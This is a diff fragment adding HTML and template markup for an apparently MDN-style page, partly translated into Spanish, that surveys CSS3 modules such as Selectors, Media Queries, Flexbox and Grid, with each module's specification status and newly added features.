+     <li>El nuevo combinador general de hermanos (<em>general sibling combinator</em>) ( <code>h1~pre</code> ).</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La <a class="external" href="http://dev.w3.org/csswg/selectors4/" title="http://dev.w3.org/csswg/selectors4/">siguiente iteración de la especificación de <em>Selectores</em></a> ya está en progreso, aunque aún no ha alcanzado el estado de primer borrador público de trabajo.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(128,255,128);"><strong>{{ SpecName("CSS3 Namespaces", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Namespaces") }} desde el 29 de Septiembre de 2011</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Añade soporte para los nombres de espacio XML (<em>namespaces</em>) definiendo la noción de nombre CSS cualificado (<em>CSS qualified name</em>), usando la sintaxis ' | ' y agregando la regla CSS {{ cssxref("@namespace") }}.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(128,255,128);"><strong>{{ SpecName("CSS3 Media Queries", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Media Queries") }} desde el 19 de Junio de 2012</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Extiende los tipos anteriores de media ( <code>print</code>, <code>screen</code>, <code>…</code> ) a un lenguaje completo permitiendo queries sobre las capacidades de  <em>media </em>del dispositivo como <code>only screen y color</code>.</p>
+
+    <p>Los <em>Media queries</em> no sólo son usado en documentos CSS sino también en algunos atributos de elementos HTML, como el atributo {{ htmlattrxref("media","link") }} del elemento {{ HTMLElement("link") }}.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La <a href="http://dev.w3.org/csswg/mediaqueries4">siguiente generación de esta especificación</a> está en progreso, permitiendo adaptar un sitio Web con respecto a los métodos de entrada disponibles en el agente del usuario con las nuevas características <em>media </em>como <code>hover</code> o <code>pointer.</code> También está propuesta la detección de soporte <em>EcmaScript </em>usando <em>media </em><code>script</code>.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(128,255,128);"><strong>{{ SpecName("CSS3 Style", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Style") }} desde el 7 de Noviembre de 2013</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Define formalmente la sintaxis del contenido del atributo global <code><a href="/en/HTML/Global_attributes#attr-style">style</a></code><a href="/en/HTML/Global_attributes#attr-style"> </a>de HTML.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Backgrounds", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Backgrounds") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Agrega:</p>
+
+    <ul>
+     <li>Soporte en fondos para cualquier tipo de {{cssxref("&lt;image&gt;")}} y no solo las <code>uri()</code> definidas.</li>
+     <li>Soporte para multiples imágenes de fondo.</li>
+     <li>Los valores {{ cssxref("background-repeat") }} <code>space</code> y <code>round</code>, y para la sintaxis de dos-valores de esta propiedad CSS.</li>
+     <li>El valor <code>local</code> de {{ cssxref("background-attachment") }}.</li>
+     <li>Las propiedades CSS de {{ cssxref("background-origin") }}, {{ cssxref("background-size") }} y {{ cssxref("background-clip") }}.</li>
+     <li>Soporte para border curvos con las propiedades CSS {{ cssxref("border-radius") }}, {{ cssxref("border-top-left-radius") }}, {{ cssxref("border-top-right-radius") }}, {{ cssxref("border-bottom-left-radius") }}, y {{ cssxref("border-bottom-right-radius") }}.</li>
+     <li>Soporte para el uso de una {{cssxref("&lt;image&gt;")}} como borde con las propiedades CSS {{ cssxref("border-image") }}, {{ cssxref("border-image-source") }}, {{ cssxref("border-image-slice") }}, {{ cssxref("border-image-width") }}, {{ cssxref("border-image-outset") }}, y {{ cssxref("border-image-repeat") }}.</li>
+     <li>Soporte para sombras de elemento con la propiedad CSS {{ cssxref("box-shadow") }}.</li>
+    </ul>
+
+    <p> </p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>El <a class="external" href="http://dev.w3.org/csswg/css4-background/" title="http://dev.w3.org/csswg/css4-background/">CSS4 Iteración de fondos y Especificación de bordes</a> ya está en progreso; aunque aún no ha alcanzado el estado del Primer Borrador de Trabajo Público, este planea agregar la característica de acortar los bordes (en el  CSS {{ cssxref("border-clip") }}, {{ cssxref("border-clip-top") }}, {{ cssxref("border-clip-right") }}, {{ cssxref("border-clip-bottom") }}, y {{ cssxref("border-clip-left") }} propiedades) o controlar la forma del borde en una esquina (usandopropiedad CSS {{ cssxref("border-corner-shape") }}).</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Multicol", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Multicol") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Se agrega soporte para el diseño fácil de multi-columnas usando CSS {{ cssxref("columns") }}, {{ cssxref("column-count") }}, {{ cssxref("column-fill") }}, {{ cssxref("column-gap") }}, {{ cssxref("column-rule") }}, {{ cssxref("column-rule-color") }}, {{ cssxref("column-rule-style") }}, {{ cssxref("column-rule-width") }}, {{ cssxref("column-span") }}, {{ cssxref("column-width") }}, {{ cssxref("break-after") }}, {{ cssxref("break-before") }}, and {{ cssxref("break-inside") }}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Speech", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Speech") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Defines the <code>speech</code> media type, an aural formatting model and numerous properties specific for speech-rendering user agents.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Images", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Images") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Se define el tipo de dato {{cssxref("&lt;image&gt;")}}.</p>
+
+    <p>Se extiende la sintaxis  de <code>url()</code> para dar soporte a cortes de imágenes usando <em>media fragments</em>.</p>
+
+    <p>Agregados:</p>
+
+    <ul>
+     <li>La unidad <code>dppx</code> al tipo de dato {{cssxref("&lt;resolution&gt;")}}.</li>
+     <li>La función <code>image()</code> como una alternativa más flexible a  <code>url()</code> para definir una imagen desde una URL.<br>
+      <em><strong>Un riesgo</strong> </em><strong><em>:</em> </strong>Dado el insuficiente soporte por los navegadores<em>, la estandarización de la función <code>image()</code> debe ser postergada a la siguiente iteración de este módulo</em> <em>.</em></li>
+     <li>Soporte para <code>linear-gradient()</code>, <code>repeating-linear-gradient()</code>, <code>radial-gradient()</code> and <code>repeating-radial-gradient()</code>.</li>
+     <li>La capacidad de definir cómo reemplazar el elemento que encaja en sus elementos, usando al propiedad CSS {{ cssxref("object-fit") }}.<br>
+      <em><strong>Un riesgo</strong> </em><strong><em>:</em> </strong> <em> </em>Dado el insuficiente soporte por los navegadores<em>, la estandarización de  {{ cssxref("object-fit") }} y propiedad debe ser posterga a la siguiente iteración de este módulo.</em></li>
+     <li>La capacidad de sobreescribir la resolución y la orientacion de una imagen externa usando el CSS {{ cssxref("image-resolution") }} y {{ cssxref("image-orientation") }} .<br>
+      <em><strong>RIESGO</strong> </em><strong><em>:</em> </strong> <em> debido al bajo soporte de los navegadores, la estandarización de {{ cssxref("image-resolution") }} y {{ cssxref("image-orientation") }} podría posponerse para la próxima iteración</em></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The <a href="#Images_(Level_4)">CSS Image Values and Replaced Content Level 4</a> which will supersede CSS Image Level 3 is in development and is a {{Spec2("CSS4 Images")}}.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(220, 255, 220);"><strong>{{ SpecName("CSS3 Values", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Values") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Makes <code>initial</code> and <code>inherit</code> keywords usable on any CSS property.</p>
+
+    <p>Formally defines the CSS data types of CSS 2.1, that were implicitely defined by their grammar token and some textual precisions.</p>
+
+    <p>Adds:</p>
+
+    <ul>
+     <li>Definition for new font-relative length units: <code>rem</code> and <code>ch</code> .</li>
+     <li>Definition for viewport-relative length units: <code>vw</code>, <code>vh</code>, <code>vmax</code>, and <code>vmin</code> .</li>
+     <li>Precision about the real size of the absolute length units, which are not really absolute, but defined in relation with the <em>reference pixel</em> .</li>
+     <li>Definition for {{ cssxref("&lt;angle&gt;") }}, {{cssxref("&lt;time&gt;")}}, {{cssxref("&lt;frequency&gt;")}}, {{cssxref("&lt;resolution&gt;")}}.</li>
+     <li>Normative value to the definition of {{cssxref("&lt;color&gt;")}}, {{cssxref("&lt;image&gt;")}}, and {{ cssxref("&lt;position&gt;") }}.</li>
+     <li>Definition for the {{ cssxref("calc", "calc()") }}, {{ cssxref("attr", "attr()")}}, and <code>toggle()</code> functional notations.<br>
+      <em><strong>At risk:</strong> due to insufficient browser support, standardization of the <code>calc()</code>, <code>attr()</code>, and <code>toggle()</code> functional notations may be postponed to </em> <em>the next iteration of this module</em><em>.</em></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Several types definition, like <code>&lt;ident&gt;</code> and <code>&lt;custom-ident&gt;</code>, have been deferred to CSS Values and Units Module Level 4.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Flexbox", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Flexbox") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Add a flexbox layout to the CSS {{ cssxref("display") }} property and several new CSS properties to control it: {{ cssxref("flex") }}, {{ cssxref("flex-align") }}, {{ cssxref("flex-direction") }}, {{ cssxref("flex-flow") }}, {{ cssxref("flex-item-align") }}, {{ cssxref("flex-line-pack") }}, {{ cssxref("flex-order") }}, {{ cssxref("flex-pack") }}, and {{ cssxref("flex-wrap") }}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(220, 255, 220);"><strong>{{ SpecName("CSS3 Conditional", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Conditional") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Adds features for conditional processing of parts of style sheets, conditioned on capabilities of the browser or the document the style sheet is being applied to. It consists mainly in allowing nested at-rules inside {{ cssxref("@media") }} and the adding of a new CSS at-rule, {{ cssxref("@supports") }}, and a new DOM method {{domxref("CSS.supports()")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(220, 255, 220);"><strong>{{ SpecName("CSS3 Text-decoration", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Text-decoration") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Extends:</p>
+
+    <ul>
+     <li>the CSS {{ cssxref("text-decoration") }} property by making it a shorthand for the CSS {{ cssxref("text-decoration-line") }}, {{ cssxref("text-decoration-color") }}, and {{ cssxref("text-decoration-style") }} properties. And adds the {{ cssxref("text-decoration-skip") }}, and {{ cssxref("text-underline-position") }} properties.</li>
+    </ul>
+
+    <p>Adds:</p>
+
+    <ul>
+     <li>Support for East-Asian-script emphasis marks with the CSS {{ cssxref("text-emphasis") }}, {{ cssxref("text-emphasis-style") }}, {{ cssxref("text-emphasis-color") }}, and {{ cssxref("text-emphasis-position") }} properties.</li>
+     <li>Support for script shadows with the CSS {{ cssxref("text-shadow") }} property.</li>
+    </ul>
+
+    <p>Precises:</p>
+
+    <ul>
+     <li>The paint order of the decorations.</li>
+    </ul>
+
+    <p><em><strong>At risk:</strong> due to insufficient browser support, standardization of the <code>text-decoration-skip</code>, line positioning rules and the ability to place both emphasis marks and ruby above the same base text may be postponed to </em> <em>the next iteration of this module</em><em>.</em></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Fonts", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Fonts") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Amends the CSS2.1 Font matching algorithm to be closer to what is really implemented.</p>
+
+    <p>Adds:</p>
+
+    <ul>
+     <li>Support for downloadable fonts via the CSS {{ cssxref("@font-face") }} at-rule.</li>
+     <li>The control of the contextual inter-glyph spacing via the CSS {{ cssxref("font-kerning") }} property.</li>
+     <li>The choice of language-specific glyphs via the CSS {{ cssxref("font-language-override") }} property.</li>
+     <li>The choice of glyphs with specific OpenType features via the CSS {{ cssxref("font-feature-settings") }} property.</li>
+     <li>The control of the aspect ratio to use when fallback fonts are selected via the CSS {{ cssxref("font-size-adjust") }} property.</li>
+     <li>The choice of alternative font faces using the CSS {{ cssxref("font-stretch") }}, {{ cssxref("font-variant-alternates") }}, {{ cssxref("font-variant-caps") }}, {{ cssxref("font-variant-east-asian") }}, {{ cssxref("font-variant-ligatures") }}, {{ cssxref("font-variant-numeric") }}, and {{ cssxref("font-variant-position") }} properties. It also extends the related CSS {{ cssxref("font-variant") }} shorthand property and introduces the {{ cssxref("@font-features-values") }} at-rule.</li>
+     <li>The control of the automatic generation of an oblique or bold face when none are found via the CSS {{ cssxref("font-synthesis") }} property.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Syntax", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Syntax") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Precises how charsets are determined; minor changes in parsing and tokenization algorithms.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Modules_in_the_refining_phase">Modules in the refining phase</h3>
+
+<p>Specifications that are deemed to be in the <em>refining phase</em> are already fairly stable. Though changes are still expected, they shouldn't create incompatibilities with current implementations; they should mainly define behavior in edge cases.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Basic UI", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Basic UI") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Adds:</p>
+
+    <ul>
+     <li>The ability to tweak the box model using the CSS {{ cssxref("box-sizing") }} property.<br>
+      <strong><em>At risk:</em> </strong> <em> due to insufficient browser support, standardization of the <code>padding</code><code>-box</code> value may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li>
+     <li>Allow the styling of forms according their content using the CSS {{ cssxref(":indeterminate") }}, {{ cssxref(":default") }}, {{ cssxref(":valid") }}, {{ cssxref(":invalid") }}, {{ cssxref(":in-range") }}, {{ cssxref(":out-of-range") }}, {{ cssxref(":required") }}, {{ cssxref(":optional") }}, {{ cssxref(":read-only") }}, and {{ cssxref(":read-write") }} pseudo-classes and the {{ cssxref("::value") }}, {{ cssxref("::choices") }}, {{ cssxref("::repeat-item") }}, and {{ cssxref("::repeat-index") }} pseudo-elements.<br>
+      <em><strong>At risk:</strong> due to insufficient browser support, standardization of the pseudo-elements {{ cssxref("::value") }}, {{ cssxref("::choices") }}, {{ cssxref("::repeat-item") }}, and {{ cssxref("::repeat-index") }} may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li>
+     <li>Support for icons, defined by the CSS {{ cssxref("icon") }} property simultaneously with the new <code>icon</code> value of the CSS {{ cssxref("content") }} property.<br>
+      <em><strong>At risk:</strong> due to insufficient browser support, standardization of the {{ cssxref("icon") }} property and the <code>icon</code> value may be postponed to CSS4. </em></li>
+     <li>Support for the CSS {{ cssxref("outline-offset") }} property giving more control on the position of the outline.</li>
+     <li>Support for the CSS {{ cssxref("resize") }} property allowing Web authors to control if and how elements should be resized.</li>
+     <li>Support for the CSS {{ cssxref("text-overflow") }} property defining how text overflows, if needed.<br>
+      <em><strong>At risk:</strong> due to insufficient browser support, the 2-value syntax of this property as well as the support for {{cssxref("&lt;string&gt;")}} values may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li>
+     <li>The ability to define the hotspot of a cursor as well as the new <code>none</code>, <code>context-menu</code>, <code>cell</code>, <code>vertical-text</code>, <code>alias</code>, <code>copy</code>, <code>no-drop</code>, <code>not-allowed</code>, <code>nesw-</code><code>resize</code>, <code>nwse-</code><code>resize</code>, <code>col-resize</code>, <code>row-resize</code>, <code>all-scroll</code>, <code>zoom-in</code>, <code>zoom-out</code>, extending the {{ cssxref("cursor") }} property.</li>
+     <li>The ability to specify the sequential navigation order (that is the <em>tabbing order</em> ) using the CSS {{ cssxref("nav-index") }}, {{ cssxref("nav-up") }}, {{ cssxref("nav-right") }}, {{ cssxref("nav-left") }}, {{ cssxref("nav-down") }} properties.<br>
+      <em><strong>At risk:</strong> due to insufficient browser support, standardization of the navigation properties may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li>
+     <li>The ability to control the usage of an IME editor, using the CSS {{ cssxref("ime-mode") }} property.<br>
+      <em><strong>At risk:</strong> due to insufficient browser support, standardization of the {{ cssxref("ime-mode") }} property may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>An early list of what could be in the next iteration of the CSS Basic User Interface Module is <a class="external" href="http://wiki.csswg.org/spec/css4-ui" title="http://wiki.csswg.org/spec/css4-ui">available</a>.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Transitions", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Transitions") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Allows the definition of transitions effects between two properties values by adding the CSS {{ cssxref("transition") }}, {{ cssxref("transition-delay") }}, {{ cssxref("transition-duration") }}, {{ cssxref("transition-property") }}, and {{ cssxref("transition-timing-function") }} properties.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Animations", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Animations") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Allows the definition of animations effects by adding the CSS {{ cssxref("animation") }}, {{ cssxref("animation-delay") }},{{ cssxref("animation-direction") }}, {{ cssxref("animation-duration") }}, {{ cssxref("animation-fill-mode") }}, {{ cssxref("animation-iteration-count") }}, {{ cssxref("animation-name") }}, {{ cssxref("animation-play-state") }}, and {{ cssxref("animation-timing-function") }} properties, as well as the {{ cssxref("@keyframes") }} at-rule.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Transforms", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Transforms") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Adds:</p>
+
+    <ul>
+     <li>the support of bi-dimensional transforms to be applied to any element using the CSS {{ cssxref("transform") }} and {{ cssxref("transform-origin") }} properties. The supported transforms are: <code>matrix</code><code>()</code>, <code>translate()</code>, <code>translateX()</code>, <code>translateY()</code>, <code>scale()</code>, <code>scaleX()</code>, <code>scaleY()</code>, <code>rotate()</code>, <code>skewX()</code>, and <code>skewY()</code>.</li>
+     <li>the support of tri-dimensional transforms to be applied to any element by adding the CSS {{ cssxref("transform-style") }}, {{ cssxref("perspective") }}, {{ cssxref("perspective-origin") }}, and {{ cssxref("backface-visibility") }} properties and extended the {{ cssxref("transform") }} property with the following transforms are: <code>matrix</code> <code>3d()</code>, <code>translate3d()</code>, <code>translateZ()</code>,  <code>scale3d()</code>, <code>scaleZ()</code>, <code>rotate3d()</code>, <code>rotateX</code><code>()</code> ,<code>rotateY</code><code>()</code>, <code>rotateZ()</code>, and <code>perspective()</code>.</li>
+    </ul>
+
+    <p><em><strong>Note:</strong> this specification is a merge of CSS 2D-Transforms, CSS 3D-Transforms and SVG transforms. </em></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(255, 255, 220);"><strong>{{ SpecName("CSS3 Fragmentation", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Fragmentation") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Defines how partitions of a Web page should happen, that is page, column breaks, and widows and orphans handling.
+    <p>Adds:</p>
+
+    <ul>
+     <li>Support for defining the behavior of decorations, that is borders and background colors or images, when a box is breaked (at a page, column or line-break) with the CSS {{ cssxref("box-decoration-break") }} property.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Text", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Text") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Extends:</p>
+
+    <ul>
+     <li>the CSS {{ cssxref("text-transform") }} property with the value <code>full-width</code>.</li>
+     <li>the CSS {{ cssxref("text-align") }} property with the value <code>start</code>, <code>end</code>, <code>start end</code>, and <code>match-parent</code> for a better support of documents with multiple directionalities of text.</li>
+     <li>the CSS {{ cssxref("text-align") }} property with a {{cssxref("&lt;string&gt;")}} value to align on that character. This is useful to align number on the decimal point.</li>
+     <li>the CSS {{ cssxref("word-spacing") }} and {{ cssxref("letter-spacing") }} properties with range constraints to control flexibility in justification.</li>
+    </ul>
+
+    <p>Adds:</p>
+
+    <ul>
+     <li>Control on how whitespaces are displayed using the CSS {{ cssxref("text-space-collapse") }} and {{ cssxref("tab-size") }} properties.</li>
+     <li>Control on line breaks and word boundaries using the CSS {{ cssxref("line-break") }}, {{ cssxref("word-break") }}, {{ cssxref("hyphens") }}, {{ cssxref("text-wrap") }}, {{ cssxref("overflow-wrap") }}, and {{ cssxref("text-align-last") }} properties.</li>
+     <li>Control on how justification is happening, in order to support more type of scripts, using the CSS {{ cssxref("text-justify") }} property.</li>
+     <li>Control on edge effect using the CSS {{ cssxref("text-indent") }} and {{ cssxref("hanging-punctuation") }} properties.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>A few features present in early CSS Text Level 3 draft have being <a class="external" href="http://dev.w3.org/csswg/css3-text/#recent-changes" title="http://dev.w3.org/csswg/css3-text/#recent-changes">postponed to the next iteration of this module</a> .</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Variables", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Variables") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Defines a mechanism allowing to define variables in CSS.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Modules_in_the_revising_phase">Modules in the revising phase</h3>
+
+<p>Modules that are in the revising phase are much less stable than those in the refining phase. Often the syntax is still under scrutiny and may evolve a lot, in a non-compatible way. Alternative syntax are tested and often implemented.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(255,160,100);"><strong>{{ SpecName("CSS3 Writing Modes", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Writing Modes") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Defines the writing modes of both horizontal and vertical scripts and precises how the CSS {{ cssxref("direction") }} and {{ cssxref("unicode-bidi") }} properties interact with the new CSS {{ cssxref("text-orientation") }} property, and extends them where needed.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Modules_in_the_exploring_phase">Modules in the exploring phase</h3>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS4 Images", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS4 Images") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Extends:</p>
+
+    <ul>
+     <li>the <code>image()</code> functional notation to describe the directionality of the image (<code>rtl</code> or <code>ltr</code>), allowing for bidi-sensitive images.</li>
+     <li>the {{ cssxref("image-orientation") }} property by adding the keyword <code>from-image</code>, allowing to follow EXIF data stored into images to be considered.</li>
+    </ul>
+
+    <p>Adds:</p>
+
+    <ul>
+     <li>the <code>image-set()</code> functional notation to allow the definition to equivalent images at different resolution allowing for resolution-negotiated selection of images.</li>
+     <li>the <code>element()</code> functional notation allowing the use of part of the page as image.</li>
+     <li>the <code>cross-fade()</code> functional notation allowing to refer to intermediate images when transitioning between two images and defines the interpolation between two images.</li>
+     <li>the <code>conic-gradient()</code> and <code>repeating-conic-gradient()</code> functional notation describing a new type of gradient.</li>
+     <li>the {{cssxref("image-rendering")}} property that allow to define how resize of the object should be handled.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Device", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Device") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Adds a new at-rule, {{ cssxref("@viewport") }}, allowing to specify the size, zoom factor, and orientation of the viewport that is used as the base for the initial containing block.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Grid", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Grid") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Add a grid layout to the CSS <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/display" title=""><code>display</code></a> property and several new CSS properties to control it: {{cssxref("grid")}}, {{cssxref("grid-area")}}, {{cssxref("grid-auto-columns")}}, {{cssxref("grid-auto-flow")}}, {{cssxref("grid-auto-position")}}, {{cssxref("grid-auto-rows")}}, {{cssxref("grid-column")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row")}}, {{cssxref("grid-row-start")}}, {{cssxref("grid-row-end")}}, {{cssxref("grid-template")}}, {{cssxref("grid-template-areas")}}, {{cssxref("grid-template-rows")}}, and {{cssxref("grid-template-columns")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 GCPM", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 GCPM") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Adds the ability to tailor printed version of a document by allowing to control header, footer but also references tables like indexes or tables of content.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Exclusions and Shapes", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Exclusions and Shapes") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Extends the floats mechanism to define exclusion regions in any positioning scheme. Adds the notion of shapes, in which content must flows.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Lists", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Lists") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Extends the list counter mechanism so that list markers can be styled and Web developers can define new list counter schemes.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Regions", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Regions") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Defines a new mechanism allowing content to flow across, eventually non-contiguous, multiple areas called regions.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Device", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Device") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Adds a new at-rule, {{ cssxref("@viewport") }}, allowing to specify the size, zoom factor, and orientation of the viewport that is used as the base for the initial containing block.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("Filters 1.0", "", "") }}</strong></td>
+   <td>{{ Spec2("Filters 1.0") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2"> </td>
+  </tr>
+ </tbody>
+</table>
+
